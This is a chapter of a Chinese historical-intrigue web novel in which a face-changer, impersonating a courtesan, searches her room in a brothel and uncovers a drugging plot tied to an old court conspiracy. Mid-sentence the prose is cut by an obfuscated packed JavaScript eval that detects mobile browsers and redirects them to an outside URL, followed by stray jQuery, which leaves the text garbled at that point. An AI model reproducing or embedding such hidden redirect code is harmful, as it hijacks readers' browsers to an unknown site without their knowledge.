傅清池与左鹤打了个照面,就意识到不对。
左鹤出现的时间太巧了,巧得好像一直在旁边看着,等到她撑不下去了才出场。
而且对方看起来也不比自己大多少,明明只是江湖人士,却对往事知之甚多。
当然,不能单凭这些就判断对方是坏人,也许世间之事真就这么巧。
所以傅清池才同意与左鹤联手,为的就是观察他究竟是何居心。
扮猪才能吃老虎。
我倒要看看,你究竟是真君子,还是假小人?
————————————
徽州城内的舞月楼,是远近闻名的销金窟。
有道是一身绫罗绸缎进,明日两袖清风出。
舞月楼里的姑娘个顶个的美貌,性子又柔情似水,小嘴儿像抹了蜜一般甜,哪个男子能顶得住。
马车在不远处停下,左鹤率先下车,伸出手让傅清池扶住。
傅清池撩开门帘,搭上自己的手。
许是练剑的缘故,左鹤的手上有一层薄薄的茧。
而傅清池是换脸师,手是重中之重,她把手保养得很好,摸上去光滑细腻,冰雪为肌玉做骨。
左鹤牵傅清池下了马车,松开后,不舍地摩擦了一下指腹。
傅清池没有察觉到左鹤的小动作,微微抬头看向远处的舞月楼。
雕梁画栋、精致浮华,真真是个红尘场。
“芙蕖姑娘,是个什么性子?”
左鹤回答:“芙蕖姑娘性子娴静,眉眼中总是怀着散不尽的忧愁,惹人怜爱。”
傅清池听完,似蹙非蹙地皱起眉头,一双澄澈明亮的眼睛顿时蒙上了一层水雾:“左公子,是这样么?”
她轻轻地开口,语气轻柔婉转,喊得人心头一软。
左鹤瞪大了眼睛,耳垂迅速泛起红晕,有点结巴地说:“有,有八九分相似。”
对方这样说,傅清池也就放心了。
她做换脸师多年,见过许多人,虽换了脸,但很多小习惯、面上的表情,却如原来的自己一般。
看得多了,也就知道在改换身份时,该如何调整自己的一言一行。
她与芙蕖接触不多,模仿到八九分像,已是她的极限。
傅清池婷婷袅袅地走进舞月楼。
此时正值白日,还未开馆营业。老鸨百无聊赖地叉着腰,用尖细的声音指挥着小二上上下下打扫。
“那边的台子擦了没有?”“还有这里的摆件,小心着点。”“跑哪去呢?我脚底下还没擦呢!”
忽然,她表情一顿,看见前几日莫名消失的芙蕖还是如往日一般弱柳扶风地站在门口,面色霎时间就沉了下去。
“嚯哟,你个小蹄子,还知道回来?!”
她骂骂咧咧地走上前,一把扯过傅清池,用力地在她手臂上拧了一下。
“知不知道昨日王少爷亲自来点你,看见你不在,差点掀翻了我们舞月楼?你可真会给我惹事!”
老鸨气不过,又用力拧了几下:“还不快滚回房间好好准备?别以为仗着自己有人包,我就不敢治你!”
她本还想继续磋磨傅清池,想到对方身后那个大人物,只能愤愤地推了她一把:“还不快滚?!”
傅清池只默默地承受着,等老鸨发泄完。
从老板的话可以知道,芙蕖在舞月楼很受欢迎,但因为已经有了主,所以只卖艺不卖身。
难道给芙蕖银子换脸的人,就是幕后包养芙蕖的人?
傅清池暗自思衬,也许可以从老鸨的嘴里打探一下,包养芙蕖的人是谁。
她一面想着,一面走到妓女居住的后院。
一进门,迎面就撞上了一个身穿粉衣的娇俏少女。
少女一看见芙蕖,高兴地扑了过来:“芙蕖姐姐,你回来啦。”
傅清池寻摸着芙蕖的性子,露出一个清清浅浅的微笑:“嗯。”
少女亲热地挽着她的手,像只黄鹂鸟一般喋喋不休:“芙蕖姐姐,你不知道,你走了之后鸨母可生气了,说你是养不熟的白眼狼,可是你又没有跟楼里签死契,她凭什么这么说……”
傅清池秉持着说多错多的原则,安静地听着。
少女叽叽喳喳地分享着芙蕖离开时的生活,练习唱歌、被师傅发现偷懒,狠狠罚了一顿,给客人表演、差点被客人强抱。
“还好我跑得快,不然就被他抓住了。”
少女嘟着嘴说:“鸨母说,我的第一次很宝贵,要卖一个好价钱。”
听见少女像卖菜一样说要把自己卖个好价钱,傅清池脸上的表情一僵,心中滋味复杂。
她才多大?十四、十五?
可少女没有感知到她的情绪变化,依旧高兴地分享趣事,像个天真烂漫的孩子。
她说了好一会儿,才发现傅清池一直沉默着,晃了晃对方的手:“芙蕖姐姐,你怎么不说话呀?”
傅清池一时不知该用什么表情面对少女,抬起手摸了摸少女的脸,眼神中不自觉地露出一丝同情:“你还小,不用那么着急。”
她回想起芙蕖似怨似叹的模样。
舞月楼浮华光鲜的背后,都是女子不可言说的苦泪,任何一个有同理心的人,看得多了,都会感到悲伤和绝望。
仔细想来,芙蕖早就知道了自己的结局,她是自愿以死助背后之人,完成这个局。
少女脸上烂漫的神情一顿,明亮的眼神变得有些悲哀:“姐姐,你说什么胡话呢,舞月楼也不能养我一辈子啊。”
她不去伺候男人,怎么能把自己赎出去呢?
“而且,万一能碰见一个很好的客人,愿意帮我赎身,或是养着我,不让我被别人欺负呢。”
少女绽开一个期盼的微笑,显然是想到了芙蕖背后的客人。
傅清池无言以对,这么多年,她都是靠自己的手艺安身立命,活得逍遥自在。
她想告诉少女,男人是靠不住的,寄希望于男人的怜悯,就会死于男人的怜悯。
可傅清池自己也想不到少女该如何凭借自己从舞月楼出去,又如何在外面活下去。
“好啦,姐姐,不说这些事了。我看你脸色不好,是不是累了?快回去休息吧。”
说着,少女拉着傅清池的手,把她带到了原本芙蕖住的房间。
“姐姐,我要去练歌啦,拜拜。”
少女朝傅清池明媚一笑,像个黄鹂鸟似的一蹦一跳地下楼。
傅清池目送少女离开,随后关上房门。
本来还想问问芙蕖的房间在哪,没想到少女直接将她带了上来。
等换回脸以后,给她赎身吧,在自己身边打杂,还能学些手艺,好过在这里蹉跎一生。
傅清池一边想着,一边回头打量芙蕖的房间。
房间的摆设还保持着芙蕖走时的模样。
她打开柜门,里面的衣服整齐叠放在一起,桌上的首饰也随意地摆着,似乎过一会儿,就会有一女子坐在镜前,为自己描眉。
看来,芙蕖走得很突然,也很决绝。她
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13746107|145276||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
知道自己回不来,所以什么也没带走。
发现这一点,傅清池轻轻皱起眉头。
如果芙蕖是被牵连的,那还好说。若是自愿的……
傅清池试图代入芙蕖的心态。
“我是个身怀秘密的歌女,我在舞月楼待了许久,看见许多花一般的女子或是香消玉殒,或是被磋磨得失去灵气。”
她一边喃喃着,一边看向镜子里的自己。
“我为这些女子感到伤心,为这个世道感到绝望。三十年前的大乱,死了多少人。那些大人物乱世时从不拯救他人,盛世时却趴在百姓身上吸血。”
她缓缓在屋中踱步,发现床头有抽屉,便走了过去。
“这时,有人找到我,告诉我他想设计一个人,代价是我的命。”
抽屉里放着几叠纸,上面的字迹娟秀,一看就受到过良好的教育。
“这个人与镇国将军有关,也与我有关。我厌倦了看见女子被红尘欺骗,厌倦了被歌舞升平遗忘的苦难,于是我同意了他的请求。”
傅清池抖开床上的被子,带起了一阵风,淡淡的幽香随之钻进她的鼻腔。
她目光一凝,发现不对,连忙拿起一旁的剪刀划开枕头,露出里面枯枝败叶。
芙蕖来找自己时,一身清香。但香味太淡,时有时无,她一直没闻出是什么。
现在才发现,是梦忧花的味道。
梦忧花花香浅淡,几乎闻不到,还带有麻痹效果,她经常拿来做麻药。
更重要的是,梦忧花香能与叫做“青野”的香发生反应,迷倒一头牛都不在话下。
但梦忧花的香气散得很快。
背后之人想不着痕迹地迷倒自己,还要让自己在戴人皮面具时醒不来,就必须要她短时间吸入大量的梦忧花香。
所以,芙蕖将枕芯、被芯,全换成梦忧花,用香气把自己腌入味,就为了迷倒自己。
傅清池一边想着,一边拈起一朵干花。
梦忧花生长在南疆的密林里,花香浅淡花朵较小,需要利用狗的嗅觉寻找采摘。
因此比较少见,价格也高,歌女芙蕖必然买不起。
这被子枕头,要么是幕后之人通过舞月楼的下人送过来,要么是通过客人之手送给芙蕖。
再结合自己对芙蕖的分析……
“芙蕖,或是她亲密的人,被镇国将军救过。”
她下意识想到,随后马上否认:“不对,芙蕖才二十出头,不可能认识镇国将军。”
“芙蕖写得一手好字,说明小时候家庭条件不错。她叹息镇国将军,要么镇国将军是她的亲人,要么家中蒙受过镇国将军的恩惠。”
三十年前,镇国将军逼杀贵妃,假设左鹤说的流言都是真的,宫女与贵妃换脸,替贵妃去死,贵妃带着玉玺逃走。
换脸之后,孩子仍然会长得像原来的自己。朝廷秘密搜捕与贵妃长相相似的人,目的肯定是找到玉玺的下落。
而芙蕖恰巧就长得像贵妃……
傅清池脸色大变,仓皇地扔下手中的梦忧花,后退两步。
“当年镇国将军放过了贵妃,所以芙蕖肯为了幕后之人去死。”
“而幕后之人,要么是将军后人,要么、是想为将军正名的人。”
她惊讶地瞪大眼睛,右手不自觉地抚上自己的脸,猛然发觉自己深陷于一片巨大的泥沼,眼前还蒙着雾,看不清方向。
“芙蕖,出来接客——!”
一声尖细的声音打破了傅清池的沉思。